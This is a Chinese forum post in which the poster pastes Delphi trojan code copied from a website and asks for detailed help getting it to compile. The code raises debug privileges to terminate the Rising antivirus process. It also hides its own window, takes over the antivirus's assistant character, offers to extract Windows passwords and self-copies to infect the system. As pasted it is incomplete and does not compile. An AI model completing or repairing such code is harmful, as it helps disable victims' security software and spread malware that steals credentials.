关于杀瑞星进程源码问题

我从http://wesoho.com/article.asp?id=1962
看了一个关于杀瑞星的进程的源码，因为以前没用过Delphi，所以下了一个，把网址里的内容看了一遍，就草草把源码粘在Delphi里，谁知编译时总是出错，弄不好，没办法，只好请求帮助，我把我编译的完整代码贴一下，各位讲一讲修改意见，但还是要先看看上面的网页再看我编译的代码，请一定要讲详细一些unit Unit1;interfaceuses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs ;type
  TForm1 = class(TForm)
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public    { Public declarations }
  end;var
  Form1: TForm1 ;implementation{$R *.dfm}
procedure TForm1.FormCreate;
begin
{以下代码杀瑞星的进程}
GetPrivilege('SeDebugPrivilege');//这个是修改权限的函数
llhwnd:=OpenProcess(PROCESS_ALL_ACCESS,True,strtoint(rav[0])); //根据PID获得瑞星进程句柄
ll:=TerminateProcess(llhwnd,0);//杀瑞星的进程
end;{以下代码控制瑞星助手}
procedure TTM.RsAgent();
begin
Request1 := TMLiAgent.Characters.Load('TMLi','c:\rav\RsAgent.acs');//读入瑞星狮子
TMLi := TMLiAgent.Characters.Character( 'TMLi' );
top:=-500;//隐藏木马本身程序
TMLi.Show(0);//调出瑞星狮子
TMLi.Commands.Add('提取windows密码','提取windows密码','提取windows密码',True,True);//添加菜单
TMLi.MoveTo((mouse.CursorPos.x-TMLi.Get_Width), (mouse.CursorPos.y-TMLi.Get_Height),1);
TMLi.Speak('本狮子现已不再是瑞星助手了，已经改户口为：TML超级叮当，QQ48505，群号：1787781。','');//控制狮子说话
TMLi.Play('Surprised');//控制狮子动作
try
copyself();//继续感染系统
except
end;
end;{以下代码为修改权限的函数，以杀瑞星}
function GetPrivilege(PrivilegeType: PChar): longbool; stdcall;//这个是修改权限的函数
var
hToken : THandle;
tkp : TTokenPrivileges;
a: DWORD;
ll:longbool;
begin
OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken);
tkp.PrivilegeCount := 1;
  ll:=LookupPrivilegeValue( nil,PrivilegeType , tkp.Privileges[ 0 ].Luid );
if PrivilegeType='SeDebugPrivilege' then
begin
  ll:=LookupPrivilegeValue( nil,PrivilegeType , tkp.Privileges[ 0 ].Luid );
  tkp.Privileges[ 0 ].Attributes := SE_PRIVILEGE_ENABLED;
end;
a:=0;
AdjustTokenPrivileges( hToken, False, tkp, SizeOf( TTokenPrivileges ), nil, a);
CloseHandle(hToken);
end;end.谁能帮帮忙，非常感谢，第一个错误就是在
GetPrivilege('SeDebugPrivilege');//这个是修改权限的函数
这个地方